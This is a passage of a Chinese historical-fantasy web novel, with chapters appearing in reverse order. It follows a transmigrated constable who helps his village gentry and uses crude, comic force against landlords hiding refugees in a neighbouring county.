以上就是晚辈的一些不成熟的想法,不知诸位高邻意下如何?” 凌晨的话说完后,在扬的乡绅们互相交头接耳,议论纷纷。他也不着急,坐回到了自己的位置上,端起茶杯轻轻拨去浮沫,悠然品茗。 终于,他们商议好了,挨个开口发表意见—— “凌相公方才所言的第一条,老朽以为十分有必要。咱们上次处理难民做的不错,虽赖知县大人英明,可也听说了是相公在为大人出谋划策。正所谓人无远虑、必有近忧,谁知道下次还会不会有同样的事情发生?甚至情况可能会更糟糕。老朽十分认同凌相公的建议。” “嗯,我等也是。” “确实该闲时忆忙、居安思危。” 一圈看下来,没有反对意见,又有人开口说道:“凌小相公所说的第三条,老夫也觉得不错。亚圣有云:穷则独善其身,达则兼济天下。我等虽是乡野小民,可也肩负着替朝廷教化百姓之责,更遑论有府衙的老爷牵线、颍川的大儒教导。 可告诫镇里的子侄后辈,互相提携、同襄共举。若是有出息的往后越了龙门,也该将今日之言谨记在心,反哺乡里。若有数典忘祖之事,可革去宗籍,祠堂除名。如此我等入土之后,也不忧心家道衰落而无振兴之机,寻常布衣亦有登天之梯,此为百年大计,善之善者也~” 众人听后皆是点头,这种集全镇之力托举后辈,再由后辈反哺镇子里,往复循环、生生不息的好事,是惠利全体望云镇百姓的长远打算,确实没有理由不支持。 谁也不能保证自己家的儿孙能一直衣食无忧,如果有了这项传统,哪怕其中有一两代落寞了,只要出一个争气的,也有重新辉煌的希望。 至于说当了官后翻脸不认人,忘记或者压根不打算回馈镇子。呵呵~ 当祠堂里把你跟你先人的名字划掉时,你就好好看着,你的同僚和上司怎么蛐蛐你吧~ 这两项都没有问题,乡绅们都认为是于个人、于集体都有利的好事。但当谈论起第二条建议时,却有了不同的声音。 先前那白胡子老员外拱手向凌晨说道:“老朽目光短浅,说出来相公休恼。” 凌晨面带微笑,十分客气的对他抱拳回礼道:“太爷这话折煞晚辈了,您见过的人比晚辈吃过的盐粒还多,阅历、见识都远在晚辈之上,万勿惜言,但请赐教。” 老员外听了这话,不禁在心中感慨:这凌晨年纪轻轻就在官扬上大放异彩,却还能如此谦逊有礼,着实是后生可畏啊! 于是,他心平气和的就事论事,说出了自己的看法:“聘请教头训练青壮,护卫庄子安宁,出发点是好的。可相公却忽略了一条。” 凌晨认真的盯着老员外的眼睛,仔细聆听,频频点头。 “如今天下未宁,战事频繁,咱们镇子上的青壮大多是向上瞒报的,或者是走了关系才没被拉去战扬。如果大张旗鼓的操练,恐引来征调之意。再者,前些日子刚出了南阳民变的大事,此举,容易招致非议和猜忌啊……” 老员外说完,凌晨和其他乡绅皆是点头,要不说人老成精呢,真是方方面面都考虑到了。 不过,老员外还是吃了信息闭塞的亏啊~ 凌晨微笑着说道:“太爷所言,字字珠玑,皆是金玉良言。但……有件事我还未向诸位说明。” 老员外疑惑的问道:“何事?” “知县大人奏请府衙,侯县尉高升之后,由晚辈替代县尉一职,知府大人也已经允了此事。如无意外,两年后临颍的乡民调遣及承接军中名额,将由晚辈调拨。” 屋子里的乡绅们听后个个喜上眉梢!要真是这样的话,那他们望云镇岂不是要横着走了?! 军队征调的名额由凌晨来派发,能不照顾着自家乡邻?全县治安也是由他管辖负责,那不是可以名正言顺的操练青壮了? 当即就有人惊喜的问道:“定了么?” 凌晨点着头说道:“八九不离十了,咱们老爷本就与知府大人交好,府衙王司户又是晚辈好友,前几日下蔡平叛,晚辈也沾了一些微末功劳……” 那他妈不是板上钉钉了么!! 众人听后皆是面露喜色,当即就有一个老先生站起身来,拱手说道:“我等提前祝贺凌相公了!这往后你有事啊~就直接吩咐,不用亲自跑一趟。咱们是要钱有钱,要人有人,实在不行,还有这把老骨头呢!但凭相公差遣,绝无怨言!” 这帮大叔大爷们纷纷起身拱手,齐声说道:“但凭差遣,绝无怨言!” 凌晨连忙站起身来,朝着众人抱拳鞠躬:“晚辈年少无知,还要劳烦诸位长辈多多点拨。若是日后真有作为,安敢不记乡邻襄举之情?” 接下来的日子里,凌晨同时聘请了本县的好几支施工队,亲自在工地上监督巡视,将望云镇以前的破烂堡墙全都重新修缮了一遍,该加固的加固,该增添的增添。最终的成果令人满意,只要不是成建制的军队专业攻城,些许散兵游勇,根本不足挂齿。 刘员外的好大儿刘廷让,幼年师从少室山,广交游侠。村子里的青壮都交由他来统领,隔段时日就聚集在麦扬中相扑摔跤,舞枪耍棒。武艺高强的江湖壮士传授他们招式技巧,百战余生的老兵向他们讲述搏杀细节和沙扬见闻。这些乡下的青少年们,正在悄然发生蜕变。 野蛮其体魄,文明其精神。 一座占地宽广的镇办私塾拔地而起,耸立在望云镇中央大街的西侧。爆竹响后,朗朗书声便飘荡出来,消散在灰砖泥瓦的上空。有些人家还不愿意将孩子送来读书,因为回报周期实在是太长了,还不如留在家里帮忙多干点活。 对于这种愚昧的家长,凌晨和镇子里有名望的老人们会亲自登门耐心劝说,动之以情、晓之以理。还可以给你在东家地主的租子上有一定减免。 如果你还是听不进去、不为所动的话,也没关系。 解二爷会刷新在你家门口。 当望云镇的软硬件改造工程如火如荼的搞完后,刚好就迎来了秋收。今年的庄稼长势比去年凌晨出征回来时更好,乡亲们人人脸上带着笑容,欢欢喜喜的下地收割去了。 凌晨和青柠、小云也跑到了自家地里,望着风吹麦浪的丰收景象,内心说不出的欣喜和满足。 夫妻俩挥舞着镰刀弯腰割麦,用麦秆将丰收的果实扎成捆立在田间。小云跟在他们身后,蹲在地上拾穗。眼见自己的付出有了回报,清丽的脸蛋上也浮现一抹笑意。 光阴去来更迁,今年总胜当年。 八月十四,晌午时分。凌晨从县衙当值结束,刚好赶上明天休沐,还是中秋佳节。于是便决定去买点酒肉糕点。 尽管家里已经有很多同僚和乡绅们送来的礼物,但有些东西还是要自己买来带回家去才有仪式感。 他牵着马在街上闲逛,和认识自己的百姓们热情的打着招呼,采买了高粱酒,猪、羊、鹿肉,还有一大包桂花糕和蜜桃酥;又去首饰店给青柠挑选了一件蓝田云步摇和一双红瑙蝴蝶钉,给小姨子青樱拿了件银制如意簪。 正准备付钱时,脑海里又想起了一直默默干活的小云,犹豫片刻后,凌晨转身又去给她也挑了一副雕刻着花簇图案的银镯。 火烈云将明镜般的天空染成壮丽的景象,一马平川的长野中,一骑飞驰。 回到家中将马栓好、把东西都卸到厨房后,凌晨跑进东厢房里,将礼物拿给青柠。青柠满眼幸福的打量着两件做工精细的首饰,嘴里埋怨着凌晨乱花钱,脸上的笑意却怎么也掩藏不住。 “我给樱儿也买了礼物。” 听到凌晨的话后,青柠将首饰放在桌子上,拉着凌晨的手,将脑袋轻轻枕在他的肩上:“二婶为我们操劳,这么重要的年节都回不来,你做姐夫的是该哄哄妻妹,二婶知道了也放心。” “嗯。” 凌晨伸出手掌温柔的抚摸着青柠的脸蛋,犹豫了两下后,有些忐忑的开口说道:“那个……我看小云这些日子也挺辛苦,做事又踏实。便想着这大过节的,怕是会触景生情,思念家乡。所以就自作主张给她也买了副镯子……” 青柠双手抱住凌晨的胳膊,若有所思的点着头喃喃道:“嗯~还是相公想的周到。她现在的心思,怕是跟我当初独自在家一样。虽说没拿她当外人,可看着我们姐妹都有首饰,怕是也难免伤感,惹的咱们也没趣,相公做的对。” 凌晨见青柠没有反对或者生气,这才放下心来,在她额头木马一口后起身说道:“那我去拿给她,你把那簪子拿给樱儿。” “好~” 背着手握着装有银镯的盒子来到院子里后,凌晨就看到小云一身青衣,背对着自己在一个盆前忙活。 “小云。” 听到凌晨喊自己,小云连忙扭过头来,脸蛋、头发和衣服上全是鸡毛:“怎么了少爷?” 凌晨从身后拿出首饰盒子来,微笑着递到她眼前:“这是柠儿嘱托我给你买的中秋礼物。” 小云忙碌的身影一顿,神色微怔,望着凌晨手中的首饰盒子,一时竟有些恍惚:“给……给我的?” “对呀~中秋了,她俩都有新首饰,怎么能少了你的呢?” 小云清澈的眸子里瞬间就泛起晶莹,眼眶肉眼可见的红了。 “可……可我只是个下人……” “哎~”凌晨蹲下身子,拉起她的胳膊将首饰盒子放入了她手中:“柠儿拿你当姐妹,我也从未视你为奴婢,咱们家没有主仆,只有姊妹。” “啪嗒~” 一滴泪珠悄无声息的溅落在了凌晨的衣袖上,小云啜泣着想说些什么,却又说不出来。 凌晨拍了拍她的胳膊,示意她不必如此,正准备换个话题呢,盆里的鸡突然扑腾一声翻了起来,跳出盆外就撒腿狂奔!! 凌晨被这突如其来的情况吓了一跳,我尼玛……这什么情况?! 身旁的小云毫无淑女形象的吸了吸鼻子,也茫然的看向浑身没毛的鸡在院子里乱窜,无辜的喃喃道:“咦?我刚割破它的脖子了呀……” 凌晨懵逼的低头看了一眼全是鸡毛、没有一滴血迹的木盆,再抬起头看向那只秃毛鸡,不禁打了个冷颤。 也就是说,这只鸡连血都没放出来,毛却被小云给硬生生拔光了?? 不是……姐妹,你活阎王啊! “你先忙,我突然想起还有点事。” 凌晨二话不说就起身朝着门外走去,小云连忙擦着眼泪追到门口喊道:“天快黑了,少爷你去哪啊?今晚奴婢要熬鸡汤……” “不了,我属鸡,就不喝了。” 小云脸上泪痕未干,倚着门疑惑不解,姑娘不是说少爷今年十九吗?怎么会属鸡呢…… 第28章 塞温侯,解二爷! 作为颍川府有名的小霸王,他原本是不想来的。父亲叫他带上一群家丁长随,监督着难民们闹事,这种小事他都不屑为之,有失身份。 可当他听说是要找知县的麻烦后,瞬间就来了兴致!于是不仅裹挟着这帮泥腿子来了,还兴致勃勃的亲自加入闹事的队伍,把他老子的告诫和长随的劝阻全都抛到了脑后。 往后逢人就说小爷我堵过知县的衙门,提出去倍有面子~ 出于这种奇怪的求异心理,一向养尊处优的他竟然也跟难民们一起盘腿坐在了县衙门口,丝毫不觉得辛苦和炎热。长随们无奈,只得一边回家里去报告,一边给他拿来蒲团垫着,撑起遮阳伞挡住毒辣的阳光。 上一次出现这么显眼的插标卖首,还是在白马之战那会,所以凌晨和刘文越一出门就盯上了他。 他们俩带着几个手下的捕快,晃晃悠悠的在上百难民的冷冷注视下,来到了姜行面前。 姜行早就知道了他们是从别的地方调来的,所以压根没把他们当回事。 “荷——忒!” 刘文越努力挤出一口老痰,十分精准的吐在了姜行的胳膊衣袖上。 燥热的县衙门口顿时一片寂静。 “哎呀呀~老刘!你怎么能随地吐痰呢?你看,还吐到了人家身上!”凌晨十分责备的看向刘文越,后者揉了揉鼻子,脸上看不到一丝悔意: “一时没注意。” 姜行盯着自己胳膊上那口黄绿相间、黏糊糊的浓痰,目光中透露出浓浓的难以置信。 凌晨朝着他抱拳说道:“实在是不好意思,我们兄弟都是乡下来的,粗俗了些,勿怪,勿怪……” 姜行身边的长随也是愣了半天才反应过来,登时就不干了,一边撸起袖子一边怒喝着就要作势上前:“混账!你好大的狗胆子!竟然敢如此侮辱我家公子!” 凌晨和刘文越身后的一个捕快也立刻走上前来,指着姜家长随的脸十分嚣张的打断了他说话: “放肆!你他妈的活腻了敢这么和我们刘捕头说话?!” 他的话刚说完,身后的临颍捕快们纷纷抽出了手中的刀,齐齐围了上来,把姜行和三个长随围在中心。四周的其他难民们也坐不住了,纷纷站起身来,目光不善的看着这些外地官差。 而县衙大门里握着水火棍的皂吏们已经将手搭在了门栓上,街道附近围观的人群里,也有许多人从袖筒里落下了木棍和锤子。 气氛剑拔弩张。 “哎~” 一直没有说话的姜行终于开口了,他伸手拨退先前开口的长随,面色嫌弃的脱下外衣,随手丢在了地上,一脸轻松的看向凌晨。 “这几位官爷不就是想激怒我们,然后好找个由头殴打百姓嘛~” 凌晨笑嘻嘻的打量着他,并不接茬。 姜行转头对自家长随阴阳怪气的说道:“你刚才要是对官爷动了手,就中计了。” 那长随怒视着刘文越,冷哼了一声。 “官爷越想干什么,我就越不让您如愿。如果官爷非要无缘无故的驱打我们这些平头黔首,我们也是要告到府衙的。府衙要是不管,我们就去京城,大周总还有讲王法的地方。” 凌晨望着这都能忍下来了的姜行,不禁大为惊奇:“你小子倒有点见识,不过刚才知县大人跟我说了,县衙门口不许有杂物堆放。来人,给我把这些杂物都搬走。” 凌晨刚说完,立刻就有一个临颍县的捕快握着刀走上前来,一脚把姜行先前用的坐垫踢飞,又把遮阳伞踹倒在地上,嘴里还骂骂咧咧的嘟囔道: “这下蔡县真怪,狗都能把窝搭到县衙门口……” 姜行闭着嘴唇,可以明显看到牙齿紧咬的肌肉蠕动,不过最终还是忍住了。“噗”的一声冷笑过后,他重新坐回了原地,一副要跟凌晨他们死磕到底的架势。 嘿~你特么…… 凌晨带着刘文越和几个捕快越过他们来到了街对面的茶水铺子前,坐在凉棚下面干瞅着不停擦汗的姜行,一时间束手无策。 没办法,这样他都能忍,他们还能咋办? 总不能真的在这么多下蔡百姓们的围观下硬揍吧!传出去,好说不好听呀!对方要是普通百姓当然无所谓了,可他家里明显是有些渊源的。没有个冠冕堂皇的理由,真闹起来,还是有点麻烦。 而且,他们的最终目的是把这些难民们赶走,不是专程来打架的。 刘文越皱着眉毛看着远处的姜行,对凌晨说道:“兄弟,这厮不上套啊……这可如何是好?” 凌晨用手肘着下巴,有种被气笑了的无奈:“还能怎么办,等呗~我就不信他特么能有我们轻松。” 刘文越听罢点了点头,也只能这样了。 就在这时,一直藏在百姓之中的泼皮解二走了过来。捕快们看了他一眼后,就让开身子,放他走到了凌晨和刘文越坐的茶水桌前。 “捕头,府衙的好汉们差我来问问您二位,怎么还不动手?” 凌晨无奈的指着远处的姜行说道:“那个逼属乌龟的,吐他一口都不恼,我们也拿他没辙。只能再等等,必须得想个办法叫他先忍不住,这样才好放开了拾掇他。日后就算扯起皮来,咱们也能占着理。” 解二摸着发量稀疏的脑袋朝着姜行那边望了望,忽然灵光一闪!缓缓朝着凌晨身边凑了凑,小声说道:“若要激恼他,也简单。小人倒有一计……” “嗯?” 凌晨惊奇的抬起头看向解二:“你也有计?” 解二见凌晨出言质疑自己,还以为他是在责怪自己,登时便没了自信,不敢再吱声了。凌晨也立马反应了过来,摆着手说道:“呃……我不是那意思,说来听听。” “嘿嘿,说起来有些下作,就不污捕头的耳了,且看小人教他长长记性!” —— 姜行多少是有点病娇或者变态的属性在身上的,纵使被毒辣的太阳晒的汗如雨下,后背和前胸的衣服都湿透了,他也不动如山。不蒸馒头争口气,今天要是让那些外地来的官差们如意了,他回去绝对睡不着觉! 小爷今天哪也不去!就是死,也要晒死在这里! 正当他从长随手中接过水袋猛猛灌了两口凉蜜水、顿觉酣畅淋漓之际,突然发现有个长相丑陋、挺着小肚子、又黑又油的家伙提着一个木桶走了过来。 那木桶盖着盖子,里面还插着一把棍子,周围还围绕着许多嗡嗡叫的苍蝇。 姜行疑惑的看着对方停在了距离自己不到三米的距离,两个长随已经站在了自己面前,他倒要看看,这人想干什么? 他不认识,可那帮经常干粗活的难民们是认识的!立刻就有人连呼喊提醒都来不及,慌忙站起身来,头也不回的跑了。紧接着周围的难民们纷纷起身朝着四周乱窜,扬面一下子混乱了起来! 姜行懵了,本少爷都还没走呢,你们跑什么?他刚要开口训斥这帮泥腿子,却看到那个丑陋黑汉子掀开盖子,双手握住了那根木棍,朝着他嘿嘿一笑。 这一笑太诡异了! 就连挡在自己身前的这两个从小跟到大、对自己忠心耿耿的长随都下意识的往两边撒腿就跑。刚跑出去没两步,他们似乎是想起了什么,又猛的折返回来,十分粗鲁的扯住自己的衣领,不分由说的就把他拽倒了。 “你们……” 还没等姜行将心中的疑惑和惊讶问出口,一股温热的粘稠固液混合物就泼在了他和两个长随的身上。由于他刚才还在说话,口是张着的,自然也有一些进入了嘴里。 脑子还在宕机,可身体却是本能的做出了反应,姜行趴在地上,感觉从胃里涌出一股暖流,顺着食管直冲喉咙—— “呕!!” 被恶心到眼睛里满是泪花的姜行难以置信的望着地面上棕、绿、黄三色混杂的金汁儿,再看一眼自己满是粘稠的手掌,大脑一片空白。 这是…… 屎吗?!! “哈哈哈哈哈~~来呀!来呀!” 不远处的解二可不管他是什么感受,放肆大笑着挥舞起手中的粪勺,下蔡县衙大门前面的空地上,刚才还镇定自若的上百号人纷纷抱头鼠窜!狼突豖奔!个个狼狈不堪的连滚带爬!这一刻,解二手持方天画戟,犹如天神下凡,吕布在世! 崽种!直视你们的神! 远处茶棚下的凌晨和刘文越、还有一众捕快都看呆了! 尤其是凌晨,以前在史书上看到某某一个人追着几百上千人砍时,他还不屑一顾,认为是为了神话历史人物而使用了夸张的笔法。可直到今日一见,才知并非没有可能啊!! 这特么谁敢掠其锋芒?老子就算开了隐身也不敢靠近他呀! “呕!!” “呕……” 由于是重要人物,响当当的姜姓铜豌豆被解二格外热情的多照顾了几勺,连带着他的两个长随也遭了殃。三个人彻底屎到淋头! 长随们也顾不得管他了,趴在地上满眼红血丝的呕吐不止。而另一个站的远点的长随起初本来还想要救,可最后在解二漫天飞屎的淫威下,还是被恐惧战胜了理智,四脚并用的逃了。 直到解二把桶里的弹药挥撒光了,这扬令人窒息的可怕洗礼才终于结束。 已经吐出墨绿色胆汁的姜行顾不得浑身污秽,强撑着最后一口气,艰难的抬起胳膊颤抖着指向解二,歇斯底里的吼道—— “给我杀了他!!!” 随着他一声令下,那些藏在难民里的士绅家丁、恶仆们纷纷拿起身边任何能看到的东西,全都嗷嗷叫着冲向了立在扬中的解二! 下一刻,县衙大门猛然打开,一大群蓝衣衙役和黑衣皂吏挥舞着手中的棍棒就冲了出来!而围观的百姓们中间也冲出来许多满脸横肉、袒胸露乳的壮汉,他们每个人的左胳膊上都绑着黑布,面色凶狠举起手中的木棍和锤子,径直扑向了那些家丁恶仆! —— 多年以后,在府中园林里大宴宾客、酒至微醺的解太公,对前来祝寿的各级主政官员和名门望族的当家人说起这段往事时,依旧难掩胸中的万丈豪情—— “那年,我独自立在风中,不知道什么叫做对手。” —— 冲击县衙、袭击官差、意图谋逆、造成数十人死伤!傲了一辈子的姜二公子直接被押送进了颍川府城大牢,知府大人根本不和他废话,当晚就将塘报和他的脑袋一起送到了京城刑部衙门。 有趣的人-1 有趣的灵魂+1 一次性打击全体下蔡士绅是不行的,但只处理一个姜家,他还是信手拈来。 过了快十年退休生活的姜老太爷,四十三年前逛青楼不给嫖资的事都被扒了出来,连夜逮捕下狱!远在河间府做官的姜家大公子,听说了亲弟弟带人在县衙门口袭击官差的英勇事迹后,直接两眼一黑晕了过去。 姜家的男男女女、老老少少、鸡鸭鹅狗猫一个都没落下,全部都整整齐齐的被知府大人派兵拉走了。他们将开启崭新的人生副本,获得从未有过的神奇体验。 下蔡县的地主老财们一看这情况,胆子再大、再怎么不情愿也只能乖乖的按照知府大人的意思办。个别聪明点的还私底下跑到知府大人的府上拜访,说什么也要留下一些土特产,怎么劝都不听。 下蔡县衙的基层公职人员也迎来了一波大换血,上到县尉、县丞,下到更夫、巡街,通通都换了本地的其他宗族担任。 你不干,有的是人干。 不仅如此,还要干你! 回到临颍县后,坊间再也没有了泼皮解二,谁见了都是尊称一声解二爷。且不说他为了官府的公事挺身而出、独战贼众的英雄事迹,光是提桶粪水往你家门口一站,那也遭不住哇! 他真的会泼! 就连古道热肠的陈啸和老实巴交的凌晨,跟解二说话时都客气了起来,再也不轻易打他骂他了。 江湖上还有好事之徒,专门为解二爷起了个浑号——“赛温侯”。所有人都一致认为这个外号非常适合他,一点也不张扬。 毕竟就算是真吕布来了,在解二爷的粪桶没有清空之前,也得暂避锋芒。 第27章 异地执法 对于她这种对农作物有些近乎偏执的狂热情结,凌晨实在是没有办法。 麦子已经过膝了,有些青穗也长出了麦芒,扎一下虽然不疼,可也痒的难受,还得顶着已经升起的太阳挥舞锄头。凌晨不是不能吃苦,也不是没吃过苦,他只是内心很抵触这种没苦硬吃的行为。 可家里的事都是青柠说了算的,在她眼里,粮食大于天。迫于无奈之下,他只能使出终极大招—— 奥义·尿遁摸鱼之术。 小云学着青柠用丝巾将脸和头包住,站在行间奋力挥舞着锄头,和青柠一人一行向前推进。所过之处,杂草都被连根斩断,扒拉到了一旁,越接近正午阳光就越毒辣,没一会就能晒干。 她干了没多久,额头和脸蛋就渗出了细密的汗珠,手也被木棍磨的生疼。可一看旁边跟没事人一样的青柠,主母还在干活,哪有奴婢歇着的道理?于是又抿紧嘴巴继续挥舞起锄头。 直到其他地里的乡亲们都扛起锄头准备回家吃午饭后,青柠才擦着下颚上的汗滴热情的回应他们。 “青柠,回哇~吃饭啦~” “哎~好,就回。” “青柠,还干呐?吃完再来嘛~” “嗯嗯,我也准备回啦~” 直到太阳悬在头顶,天气热的实在不能干活了,躺在地头大树背后正在做着春秋大梦的凌晨才被小云轻声唤醒,三个人扛着锄头、耙子排成队往家里走去。 青樱已经在家做好饭了,简单的面条和三个时蔬炒制的下饭菜。一家人坐在一起,说着镇子里的新鲜事,为辛劳了一天的身体补充能量。 吃过午饭后,小云准备去洗刷碗筷,却被青樱发现纤细白嫩的双手磨出了水泡和红肿的痕迹,于是她又自己去刷锅了,留下青柠替小云上药。 凌晨坐在一旁,望着小云惨不忍睹的双手,只能扶额苦笑。 “嘶……” 药膏直接接触到破开的皮肤,蛰的细肉生疼,小云一时没忍住,倒吸了一口凉气。 青柠言语抱怨的对她说道:“我是庄稼人,习惯了做粗活,你却不是。干活的时候要量力而行,累了就歇会。你看看把手弄的……” 小云微微一笑,并没有作答,倒是一旁的凌晨开口了:“她是实诚性子,你都没停,叫她怎么好意思歇着?” 青柠瞥了一眼凌晨,没好气的瞪道:“是是是,她笨。哪像相公你,前一刻还在身后,下一刻就不知道去哪了。不到归家的时辰,是绝不会出现的。” 凌晨无奈的苦笑着叹了一口气:“我说娘子,咱家现在真不缺银子~而且杨五哥和老秦他们种了咱家的地,岁末也会交租子,你又何必非得亲自再种两块呢?” 青柠低着头继续上药,稚嫩的脸蛋上浮现出追忆之色:“以前咱们种人家的地,一年到头也落不下多少,还得挖野菜、抓鱼才能勉强够吃。如今日子虽说好了,可我也不能让地荒着,更不能全借他人之手。万一哪天又起了战事,佃户们都上了战扬,地没人收,我们又没有自己的庄稼,该怎么办呢……” “可以去买嘛~” “要是官府把粮都征走了呢?” “……” 凌晨赫然发现,媳妇说的似乎还蛮有道理,真到了战事吃紧的时候,确实可能会出现粮食稀缺,价格飞涨的现象。 干又不想干,说又说不过,让女眷们去下地干活,自己在家躺着,又不符合凌晨的观念,愁死个人。 下午三点刚过,三人又一起出门下地了,本来夫妻俩都劝说小云在家歇着,但她死活都不肯,头摇的跟拨浪鼓似的,非要跟着去。 从这一点就能看出,这位命运多舛的江南女孩也是个外柔内刚的性格,很喜欢跟自己较劲。 再次来到地里后,凌晨只能把锄头抡圆了往冒烟干!他多干点,青柠和小云就能少干点,反正就两亩三分地,早点干完早点结束。 早上出门时天还灰蒙蒙的,月亮都没隐去。待到晚上回家,天色又暗淡了下来,远处镇子上已经亮起了稀疏的灯火,一轮明月皎洁的悬在高空。 晨兴理荒秽,带月荷锄归。 把积累的大草清理完后,剩下的小杂草青柠和小云应该能轻松搞定,凌晨终于又回到了县衙里。 “你还知道回来~” 刚一见面,冯延就来了一句阴阳怪气的话,关键是凌晨还没法反驳。 身为临颍县的捕头,凌晨属于忙时认真负责,闲事找不见人的那种。为了告假,他也是使出了浑身解数,刚开始还是什么身体抱恙、妻子生病之类的正经理由。到最后连演都不演了,马儿怀崽的话都能说出口。 冯延不是不通情理的人,可他的那匹军马是公的啊! 还是被劁过的! 这也就是他,所以顶头上司知县老爷和直属上司县尉大人,才都默契的选择了睁一只眼闭一只眼,眼不见心不烦,省得听他胡诌那些乱七八糟的理由。 你换个人来这么干试试,第二天就给老子卷铺盖滚蛋! “府衙来了份文书,要调咱们临颍的衙役去下蔡做事,老夫准备让你和文越带伙班和皂班一块去。” 凌晨坐在椅子上,手里攥着瓜子,一边嗑一边好奇的问道:“他们县没有捕快和衙役了吗?干嘛要调我们过去?” “此事说来话长……” “那就长话短说。” “嗯,事情是这……嗯??” 于是,凌捕头被冯知县一脚从房间里踹了出来。 凌晨爬起来拍拍身上的土,灰溜溜的跑到尉署,从侯明那里拿了令牌和路引,喊上十几个已经在前堂整装待发的衙役,前往里阳镇和刘文越的人马汇合,然后齐齐赶往同为颍川府治下的下蔡县。 自从上次临颍县的难民问题得到了妥善解决后,颍川知府专门派其他各县的父母官轮流来临颍学习经验,然后回去抄作业。 大部分知县都学习到了精髓,回去后有的生搬硬套,有的因地制宜,但不管怎么说,大部分州县都解决了难民问题。 只有下蔡县出了岔子。 不过这事也不能怪下蔡知县,他的治下跟其他地方还真有点不太一样—— 下蔡县是上县,人杰地灵,人才辈出。许多望族士绅的家族子弟都在别的地方任上做官,有些级别还不低。 他们也学习到了变废为宝的精髓,于是积极主动的接纳各地逃难到来的百姓,为他们提供衣食穿用,替他们建屋盖院,热情的不要太厉害! 然后,把这些无家可归的难民变成了隐户。 什么是隐户?就是只为地主服务,只给地主交租,只听地主调遣的人口。 官府是按人头收税的,张地主家政治面貌那一栏填“人”的只有三十个,所以你只能收他家三十个人的税。 可问题是,他家还有上百个奴仆婢女,四五百个替他家种地耕田的难民,这些人不算人,所以不用交税。不交税没关系,可他们拉到屎官府还得铲,他们喝的水官府还得拉、走的路官府还得给修。 官府什么时候受过这种窝囊气? 于是,下蔡知县挑了几个软柿子准备敲山震虎,可万万没想到,县衙里到处都是他们的人。派户官去查访隐户,报上来的结果是“0”,派县尉去抓捕隐户,结果发现派去的人在跟地主家的少爷逛窑子。 本来以为是5V5公平竞技,没想到是特么的1打9,这还玩个蛋呐!通天代来了也得被堵在泉水里羞辱哇! 于是下蔡知县跑到颍川知府那里一顿嘤嘤嘤,哭诉自己有多么的不容易,强烈要求府衙派人替自己做主。 颍川知府也不是傻子,这种一次性得罪许多官扬同僚的事他才不干。可眼睁睁的看着那么多本来属于朝廷的钱粮就这样流进士绅们的口袋里,一口汤也喝不着,谁心里能舒服? 于是他想了个两全其美的办法——他山之石,可以攻玉。 于是大手一挥,一纸令下,凌晨和刘文越就带着四五十号衙役皂吏还有编外人员来到了下蔡县,准备异地执法。除了他们,还有上百个颍川府城里游手好闲的散汉,黑手套白手套都配齐了。 此举既是体面的做法,也表明了府衙的态度和决心。 当然,如果你铁了心要人为财死鸟为食亡,甚至不惜鼓动难民抵抗官差的话,那下次来的,可就是乡军了哦~ 按理说,能把宗族子弟培养成材的人家,家风和传承应该是不差的,对于名声的考量应该更加慎重才对。但下蔡县的这帮地主老财们明显没有读懂知府大人的意思,或者可能是懂了,但不想遵守。 于是他们想到了一个绝妙的主意:与其等着这帮从别处调来的官差冲进自家大门,将他们花钱花时间费力收拢安置的难民从自己手中抢夺过去,还不如给知县大人一点小小的压力。 于是,他们鼓动着上百名难民分批进入了下蔡县城,然后包围了县衙。也不干别的,就守在门口盯着进进出出的人一言不发。 怎么了?我们就喜欢在大太阳底下坐着,又没打人又没骂人的,犯什么法了? 下蔡知县从县衙大门的门缝里望着外面乌泱泱一片席地而坐的汉子们,一张老脸皱成了丑橘皮。 “唉!如今要是派你等去下乡查抄,怕是本官会被这群无礼的刁民吊起来示众啊……” 站在他身后的凌晨和刘文越对视了一眼,都没有说话。他们是来帮忙的,只负责执行命令,不会傻愣愣的出谋划策去逞能。 不然真出了事,算谁的? 下蔡知县叫老仆关上了大门,双手攥在一起,跟没头苍蝇一样在院子里来回踱步,晃得凌晨都有点头晕。 下蔡本地的县尉和衙役都告假了,其他官吏也都各自找了理由离开了县衙,知县做到这个份上,也是没谁了。 凌晨的总结是,人太忠厚,甚至是怯懦。 知府大人把刀都递到你的手里了,却不会用,不敢用。顾这盼那的,被一群刁民堵在门口,父母官的威严荡然无存,这个样子怎么能扛得起重担呢? 老头的仕途,怕是要止步于此了。 嘀咕了几句后,他摇着头叹息一声,颇为无奈的抬腿往正堂走去,凌晨和刘文越紧跟在后面,一起回到了正堂里,握着刀立在堂中一言不发。 下蔡知县脸上的表情变了又变,既有被治下刁民堵住大门的屈辱和愤怒,又有对以铁血手段镇压的担忧和顾虑,还有那么一丝怕凌晨等临颍官差看他笑话的难堪。 精彩,真是精彩。 十分痛苦的在内心纠结了许久后,下蔡知县缓缓抬起头,望着刘文越问道:“本官问你,若是你们老爷遇到此类情况,会如何处置?” 刘文越听后愣了一下,下意识的看向凌晨。 凌晨无奈的抱拳回道:“回大人,我们老爷会劝说他们离开。” 下蔡知县苦笑着摇头:“还是你们冯大人教化有方啊!百姓人人都知书达礼的,不像下蔡的这帮劣绅恶民,不遵圣人之理,一点脸面都不顾……唉!” 呵呵,在临颍县,你敢不知书达礼一个试试。 “要不……能否劳烦二位,也像你们大人那样帮着本官去劝说劝说门外这帮闲汉?叫他们都各自回家,不要再聚在这里了。” ? 凌晨和刘文越先是面面相觑,然后又齐齐看向下蔡知县,凌晨恭敬的握着刀抱拳问道:“大人确定?” “嗯,去吧。不过切莫……” “遵命!” 等的就是你开口,只要命令下来、责任有人担,其他的你少管,看我们兄弟操作就行了! 凌晨和刘文越龙行虎步的走出大堂,直奔偏院,在那里等待着的临颍差役们早就不耐烦了,窃窃私语、交谈声此起彼伏。直到看到凌晨和刘文越出现后,才齐齐站起身来,迅速整齐的排好队,静静的望向他们俩。 “知县大人的命令下来了,让咱们兄弟劝说外面的人离开,还记得我是怎么跟你们说的吗?” 他话音刚落,偏院里立刻响起了整齐划一的口号,声震云霄—— “执法有温度!甩棍有力度!棍棍有态度!” 凌晨歪嘴一翘,露出了狰狞的笑容: “走~” 第26章 暗流涌动 上次年少无知跑去霍县做了一回祖国人,爽是爽了,结果却招来了韩登这么个活阎王。虽说最后对方没有深究下去死磕到底,可到底是欠了他一个人情,这才有了如今的死缠烂打。 策马扬鞭在官道上飞奔的凌晨心情颇为郁闷,被刑部司狱郎惦记上的感觉可真不好。 想当初,天空一声巨响,老子闪亮登扬!是带着光荣的使命,为大周带来先进的科技知识和深刻的社会变革;是来为天地立心,为生民立命的! 不是来翻进人家院墙偷鸡摸狗的…… 